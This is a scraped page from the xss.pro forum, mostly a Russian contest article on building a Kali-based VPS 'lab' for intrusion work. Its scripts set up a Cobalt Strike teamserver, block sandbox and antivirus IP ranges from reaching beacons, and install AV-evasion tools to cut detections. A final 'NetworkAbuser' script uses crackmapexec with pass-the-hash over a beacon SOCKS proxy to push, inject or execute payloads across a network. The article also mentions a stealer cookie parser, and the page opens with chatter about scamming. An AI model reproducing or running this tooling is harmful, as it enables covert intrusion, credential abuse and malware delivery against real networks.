СпасибоУшел в статус вместе с пендосом который арбитраж на него и подавал(пендос ушел за работу по ру)
Вроде так,поищи в блеках
СпасибоУшел в статус вместе с пендосом который арбитраж на него и подавал(пендос ушел за работу по ру)
Вроде так,поищи в блеках
в большенстве своем, в профиле указывается причина банаСпасибо
Есть кто-нибудь из его команды?
Феникс сменил телеграм походу, а я не знаю на какой, так как проебал свой тг.
внатуре! спасибо огромное!https://xss.pro/threads/56644/в блеке вроде как указан ответчик
ТС в бане давным давно за кидание на баксы бедных беззащитных американских негров, вроде KAJIT - его закадычный бро, можешь попробовать у него спросить.Есть кто-нибудь из его команды?
ну не таких уж и беззащитных. тупые правда п3д@. маяки на вт лить -> клиника.баксы бедных беззащитных американских негров
what is the linux distro ?Автор x4k, для конкурса статей xss.pro
Посмотреть вложение 24908# ПРИВЕТИКИ v2
## 1.Введение
В настоящее время информационная безопасность - это краеугольный камень существования корпорации, компании, бизнеса, различных госудраственных сфер, не обязательно связанных с ИТ. Сейчас трудно представить общество без компьютеров и сетей. Они окружают нас повсюду. Говорить об этом - можно долго. Читая условия конкурса и просмотрев работы тех, кто уже принял участие, мне не очень хотелось отвлекать людей от соревнования. После продления сроков, как и говорилось ранее, мы посовещались и решили немного прокачать пользователей.
Авторы многих статей написали об эксплоитах, о компиляции биконов и методах работы в интерфейсах безопаснсти WD, о порнографии, об уязвимостях нулевого дня, т.н. 0day и пр. Я мог бы поспорить о классификации, о методах и прочих мелочах, но я решил взять и написать статью, которая поможет обычному пользователю поднять собственную "лабораторию", в которой он сможет без труда (и, что самое главное, засыпать и просыпаться в хорошем настроении) испытывать метода проникновения в сети, исследовать "работы" разных авторов в этом направлении и делать много других вещей. В общем статья - о том, как превратить VPS в лабораторию пентеста с графическим интерфейсом и безопасной работой внутри.
Сначала это был один shebang скрипт, который вмещал в себя от и до. Многие возмутились, некоторые обвинили меня в использовании паблик-материалов и софта. Да, я действительно люблю и использую Linux. Лицензия распространения - OpenSource. Остальные пакеты - так же из репозитория Debian (Kali Linux). OpenSource. Куски кода - github (OpenSource). Мои куски кода и вообще исполнение - OpenSource. Если среди тех, кто читает эту OpenSource статью есть талантливые ребята с Private-софтом (суда по комментариям тут каждый второй с приватом) - напишите мне в PM. Обсудим все, что обсуждается ;-)
## 2.Установщик
Хотелось бы сначала сказать пару слов о конфигурации оборудования для комфортной работы системы: 12 процессоров, 48 ОЗУ и SSD - именно на такой машине запущена подобная система, в которой, помимо того, что описано в статье, так же запущены: BloodHound (помимо neo4j запущены так же парсеры для автоматического "приема" данных и загрузки в БД), запущен парсер (это очень большой и сложный скрипт), который работает в паре со стиллером, фильтрует и разбивает данные в удобные форматы, так же парсер "лечит" куки и сразу же генерирует их в netscape формате (куки в формате .json плохо "заходят", связано с наличием спецсимволов и т.н. escape символов, которые ломают БД), помимо этого запущены различные модули контратаки и активной защиты сервера. Одновременно работающих машин - 5. В общем такой конфиг будет оптимальным для работы до 5 одновременно запущенных машин.
git clone https://github.com/l4ckyguy/ukn0w --depth 1 /opt/ukn0w ; cd /opt/ukn0w ; ./build.sh
После того, как мы клонировали репозиторий в папку /opt/ukn0w, у нас есть два варианта развития событий: установка сразу-же install.sh скриптом, либо компиляция репозитория в один удобный установщик (этим вариантом мы и воспользовались). После того, как скрипт выполнит работу, файл установщика окажется в корневой папке `/root/ukn0w.sh`, он исполняется как и любой другой исполняемый файл в Linux. После запуска я сделал удобный установщик, который задаст Вам несколько вопросов, проверит правильность настройки некоторых параметров и инициализирует установку системы на удаленном хосте. Вам остается только дождаться конца установки, попивая свой кофе перед экраном (?). Ну и чтобы не было лишних вопросов, я так же выкладываю видео установки от и до XD
## 3.hostInside
Итак разберем что внутри, что за зверь и с чем его едят? Начнем с подготовки VPS. Первое, что я сделал - это сменил Debian на Kali вместе с репозиториями, а так же правильно настроил hostname, /etc/hosts и /etc/hostname
Bash:home="$(pwd)" ; hname="yourhostna.me" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts wget -O /tmp/ka.deb https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i /tmp/ka.deb echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list ; sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done
После, я добавил SWAP раздел, причем сделал это не по документации)) т.к. практически все провайдеры VPS не очень любят операции с разделами, да и вообще работа с жесткими дисками - это отдельный разговор. После свапа, я полностью обновил систему, установил необходимые пакеты а так же добавил x86 архитектуру, для корректной работы wine в целом
Bash:#swap dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2 ; chmod 600 /swapfile2 ; swapon /swapfile2 echo '/swapfile2 none swap sw,pri=10 0 0' >> /etc/fstab ; rm /etc/motd &>/dev/null #upgrade apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; touch /root/.hushlogin #packages apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make \ htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 \ ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" ; systemctl enable docker ; systemctl start docker apt-get -y purge apache2 #wine32 dpkg --add-architecture i386 ; apt-get update ; apt-get -y install wine32
После обновления и установки пакетов, зачастую случается так, что репозитории отказываются обновляться, выскакивают ошибки и прочее. Основная причина - рассинхронизация времени между "железной" частью сервера и предоставленными Вам мощностями. Помимо этого, я установил python2-pip, который активно деградирует и скоро полностью исчезнет из среды Linux. В репозитории Kali уже нет модуля pip для python2. Ну и конечно же, в числе первых вещей, которые необходимо изменить при инициализации подобных серверов (которые работают с большим количеством одновременно открытых файлов) - я изменил настройки ulimit
Bash:#timedate issue systemctl restart ntp.service cat<<'EOF'>>/etc/ntp.conf server 0.ubuntu.pool.ntp.org server 1.ubuntu.pool.ntp.org server 2.ubuntu.pool.ntp.org server 3.ubuntu.pool.ntp.org EOF ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5 #pip2 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py #ulimit echo 'session required pam_limits.so' >> /etc/pam.d/common-session cat<<'EOF'>/etc/security/limits.conf * soft nofile 655350 * hard nofile 655350 root soft nofile 655350 root hard nofile 655350 EOF
Далее был установлен transfer.sh - служба, которая позволит нам быстро загружать на Ваш сервер любые типа файлов, как через web-интерфейс, так и с помощью curl. Сервис будет находится у нас на 4466 порту, соответственно для загрузки любого файла на сервер и получения ссылки, нам достаточно выполнить `curl --upload-file /path/to/file yourhostna.me:4466`. Настройки grub загрузчика так же подверглись изменениям в сторону увелечения безопасности сервера. Был установлен dnscrypt-proxy сервер, который будет шифровать наш UDP трафик и "раскидывать" его по разным dnscrypt-enabled серверам. Говорить о том, что у них (серверов) разные владельцы и страны расположения думаю будет излишне =)))
Bash:#transfer.sh wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 \ | grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh cat<<'EOF'>/etc/systemd/system/transfer.service [Unit] Description=transferr [Service] ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/ --provider local --basedir /tmp --purge-interval 1 WorkingDirectory=/tmp Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF #grub cat<<'EOF'>/etc/default/grub GRUB_DEFAULT=0 GRUB_TIMEOUT=0 GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet" GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz" EOF update-grub #DNS-server mkdir /tmp/dns && cd /tmp/dns wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url \ | head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64/* /opt/dnscrypt-proxy/ ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ \ ; systemctl disable systemd-resolved ; dnscrypt-proxy -service install ; dnscrypt-proxy -service start cd ~ ; rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf cat<<'EOF'>/etc/rc.local #!/bin/bash dnscrypt-proxy -service uninstall ; dnscrypt-proxy -service stop chattr -i /etc/resolv.conf ; echo nameserver 1.0.0.1 > /etc/resolv.conf dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; sleep 3 echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf sleep 4 ; cd /localhost ; ./up.sh EOF chmod +x /etc/rc.local
Далее я сгенерировал letsencrypt ssl сертификат, который необходим для шифрования и "подписи" трафика, как нашим биконам, так и другим инструментам. Написал правило для запуска тимсервера как службы systemd и запустил службу. Это дало мне запуск сервера при загрузке VPS и перезагрузку в случае ошибок.
Bash:#cobaltstrike section cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert cat<<'EOF'>/usr/local/bin/ts #!/bin/bash cd /opt/cobaltstrike ; hname="$(hostname)" java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=XHOSTPASSWORD -server -XX:+AggressiveHeap \ -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" XHOSTPASSWORD url.profile "$(date --date='1 year' -u +'%Y-%m-%d')" EOF chmod +x /usr/local/bin/ts cat<<'EOF'>/etc/systemd/system/teamserver.service [Unit] Description=teamserver [Service] ExecStart=sudo /usr/local/bin/ts WorkingDirectory=/opt/cobaltstrike Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF systemctl enable teamserver ; systemctl start teamserver
Так как наша основная система и графическая оболочка работают в среде докера и вместо сети хоста используют защищенный канал wireguard, нам необходимо как-то "выташить" нужный порт наружу. Для этого я использовал frp (fast reverse proxy) как на хосте, так и внутри докера. На стороне хоста я так же создал и запустил frp в качестве службы systemd. Так же поправил файл suders (не безопасно, конечно, но очень удобно, да и к тому же проникновение на сервер линукс всегда подразумевает собой повышение локальных привелегий, поэтому я решил немного "расслабиться" и использовал такой чит)
Bash:#frp - expose noVNC port wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/ cat<<'EOF'>/usr/local/bin/frps.ini [common] bind_port = 7000 EOF cat<<'EOF'>/etc/systemd/system/frps.service [Unit] Description=Frp Server Service After=network.target [Service] Type=simple User=root Restart=on-failure RestartSec=5s ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini [Install] WantedBy=multi-user.target EOF systemctl enable frps ; systemctl start frps #sudoers cat<<'EOF'> /etc/sudoers Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" root ALL=(ALL) NOPASSWD: ALL gvm ALL=(ALL) NOPASSWD: ALL %sudo ALL=(ALL) NOPASSWD: ALL @includedir /etc/sudoers.d EOF
GVM из старого скрипта я решил заменить на acunetix. Контейнер полностью настроен и готов к работе. PatrowlHears будет установлен в случае Вашего согласия при первоначальной инициализации скрипта. Так же в этой "серверной" части, будет построен образ самой внутренней системы и установлен специальный скрипт, который будет блокировать доступ к нашему серверу всевозможных песочниц, антивирусов и ботов, которые призванны уменьшить эффективность и жизнерадостность наших биконов)
Bash:#acun docker pull 0x4k/acunetix #PATROWL function installpatrowl() { sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears ; cd /opt/PatrowlHears ; docker-compose up -d docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh' docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh' (crontab -l | grep . ; echo -e "* * */1 * * cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab - } #installpatrowl #super_os /etc/init.d/docker restart ; sleep 2 ; cd /opt ; docker build -t kali_suos . printf "\n\n\033[1;33mЧищу, мою, убираю. Ставлю антипесочницу и перезагружась..\n\033[0m" sleep 4 ; apt-get -y autoremove ; apt autoclean #badboyz function bbinstall() { cat<<'EOF'>/usr/local/bin/goodboyz #!/bin/bash ipset -q flush goodboyz ; ipset -q create goodboyz nethash for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \ grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \ do ipset add goodboyz $ip ; done iptables -A INPUT -m set --match-set goodboyz src -j DROP iptables -A FORWARD -m set --match-set goodboyz src -j DROP EOF chmod +x /usr/local/bin/goodboyz ; goodboyz } bbinstall sudo -u root reboot
... На этом подготовка хоста окончена, далее хочу подробнее разобрать что же творится внутри самой OS...
Посмотреть вложение 24909
## 3.osInside
Вот мы и подобрались к самому интересному - к системе-контейнеру.
Как я и говорил ранее, система, как и другие контейнеры-инструменты будет работать через зашифрованный VPN нового поколения (впрочем "новизна" конечно сомнительна, лично я начал использовать его года 3 назад, ну а в ядро Linux его "прописали" в этом году, в отличии от ovpn, которому такие почести явно не светят, ввиду явной "халтурности" протокола - архивация с ключом шифрования. не буду тут рассказывать о "палевности" стека, отвратительной скорости работы и прочих радостях, которым прославился протокол openvpn, мы не об этом), точнее через сеть контейнера с запущенным wireguard. Я так же не буду тут копировать и вставлять официальный текст, картинки и прочую х#йню. Скажу лишь нескользко слов об этом чудесном протоколе. Помимо шифрования данных самыми современными алгоритмами, wg славится еще потрясающей скоростью работы, а так же "умением" передавать "через-себя" абсолютно любой вид трафика, в том числе тот, что нужен нам (и немного p0f ;-)). Так же он очень прост (и быстр) в подключении, его конфигурационные файлы понятны даже ребенку и состоят из нескольких значений. Вот оно - оружие 21 века (опять ремарка: лично для меня нет ничего красивее оружия - именно в нем нет ни одной лишней детали, а вся красота заключается в продуманности и функциональности каждой линии, выступа или кнопки).
Из-за того, что трафик будет шифроваться внутри сети, созданной специальным контейнером, "выход" к хосту, будет осуществлен, как я и говорил ранее, с помощью frp. Так как мы не давали докер-контейнеру привелегий управлять systemd, я написал специальный скрипт-загрузчик, который выглядит так:
Bash:#!/bin/bash x2="p@ssw0rd" ; x4="p@ssw0rd" ; echo root:$x2 | chpasswd ; mkdir -p /root/.vnc ; echo $x4 | vncpasswd -f > /root/.vnc/passwd ; cusw chmod 600 /root/.vnc/passwd ; rm -r /tmp/* ; rm -r /root/Downloads/* /root/.zsh_history /root/.zcomp* /root/.ssh/known_hosts /root/.vnc/*.pid /root/.vnc/*.log /tmp/.X11-unix/X1 /tmp/.X1-lock unset x1 x2 x4 ; sleep 1 ; sudo chown root:messagebus /usr/lib/dbus-1.0/dbus-daemon-launch-helper ; sudo chmod 4754 /usr/lib/dbus-1.0/dbus-daemon-launch-helper vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 3 while [ -z "$(netstat -antp | grep tiger)" ] ; do vncserver :1 -geometry 1560x980 -localhost yes -AlwaysShared ; sleep 1 ; done cd /usr/share/noVNC/utils ; ./novnc_proxy --listen 127.0.0.1:6081 --vnc 127.0.0.1:5901 & cat<<EOF>/usr/share/applications/patrowl.desktop [Desktop Entry] Name=spiderfoot Encoding=UTF-8 Exec=firefox http://$HOSTNAME:8383 Icon=balena-etcher-electron StartupNotify=false Terminal=false Type=Application EOF frpc -c /usr/local/bin/frpc.ini & killall tigervncconfig ; chmod 1777 /tmp spiderfoot -l 127.0.0.1:53137
Ну а frp сервис так:
Bash:#frp wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frpc /usr/bin/ cat<<EOF>/usr/local/bin/frpc.ini [common] server_addr = XHOSTNAME server_port = 7000 [vnc] type = tcp local_ip = 127.0.0.1 local_port = 6081 remote_port = 6080 use_compression = true EOF
Особенно сложных к пониманию моментов тут нет. OK. Контейнер будет построен с помощью Dockerfile и запакованного архива-установщика, который начнет свою работу автоматически после инициализации VPS. Первая часть, как всегда - установка необходимых пакетов и доустановку нужным нам с просторов Сети.
Bash:export DEBIAN_FRONTEND=noninteractive apt-get -y update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot nmap locales imagemagick xclip -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper cat<<'EOF'>/etc/sudoers Defaults env_reset Defaults mail_badpass Defaults secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw" root ALL=(ALL) NOPASSWD: ALL x ALL=(ALL) NOPASSWD: ALL %sudo ALL=(ALL) NOPASSWD: ALL EOF #install pip2 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py #golang latest wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin #PEzor true install git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ; printf "Y" | bash install.sh pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc
Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!
Bash:#zsh-terminal-modiifications cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh ./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm yes | cpan Term::ExtendedColor yes | cpan File::LsColor git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf chsh --shell=/bin/zsh root wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/ #wallz wget -O /tmp/wall.zip https://repo.x4k.dev/xss/wallz.zip ; unzip -P 'xss.pro' /tmp/wallz.zip -d /opt/ #bat sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 \ | cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc #nanorc cd ~; wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash #ls_colors mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null ( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null #install icons wget -qO- https://git.io/papirus-icon-theme-install | sh
Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).
Bash:#cobaltstrike echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop [Desktop Entry] Name=Cobalt-Strike GenericName=Cobalt-Strike Exec=sudo cobaltstrike Icon=kali-cadaver Terminal=false Type=Application EOF #ghidra - NSA reverse wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4) unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra cat<<'EOF'>/usr/share/applications/ghidra.desktop [Desktop Entry] Name=ghidra Exec=sudo /usr/share/ghidra/ghidraRun Icon=ghidra StartupNotify=false Terminal=false Type=Application EOF #rustscan wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url \ | head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install #oneforall-install cd /opt git clone https://github.com/shmilylty/OneForAll.git mv OneForAll oneforall cd oneforall python3 -m pip install -r requirements.txt cat<<'EOF'>/usr/bin/oneforall #!/bin/bash cd /opt/customdir/oneforall python3 oneforall.py --target $1 run EOF chmod +x /usr/bin/oneforall #pwncat python3 -m pip install pwncat pe-tree #chimera git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1 #trans - Google-translate-cli wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans #one-lin3r pip3 install one-lin3r pefile #garble GO111MODULE=on go get mvdan.cc/garble #scarecrow git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow #Creds - Windows-Helpers git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang #pe-tree pip3 install pe-tree libtmux docutils #ARSENAL CHEATSHIT git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc #install wine32 dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64 #TDM-GCC compiller wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z
## 4.csInside
При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.
Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.
Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для xss.pro Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))
Bash:#!/bin/bash cat<<EOF>/etc/proxychains.conf quiet_mode dynamic_chain [ProxyList] socks4 XHOSTIP 27500 EOF zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \ --add-entry="network " --add-entry="username " --add-entry="hash " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values CIDR="$(cat /tmp/.values | cut -d'|' -f1)" USER="$(cat /tmp/.values | cut -d'|' -f2)" HASH="$(cat /tmp/.values | cut -d'|' -f3)" METH="$(cat /tmp/.values | cut -d'|' -f4)" if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi if test "$METH" = "put" || test "$METH" = "inject" ; then INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')" elif test "$METH" = "execute" ; then EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)" fi if test "$METH" = "put" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd elif test "$METH" = "inject" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd elif test "$METH" = "execute" ; then echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd fi chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold
## 4.аКомпот?!
Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:
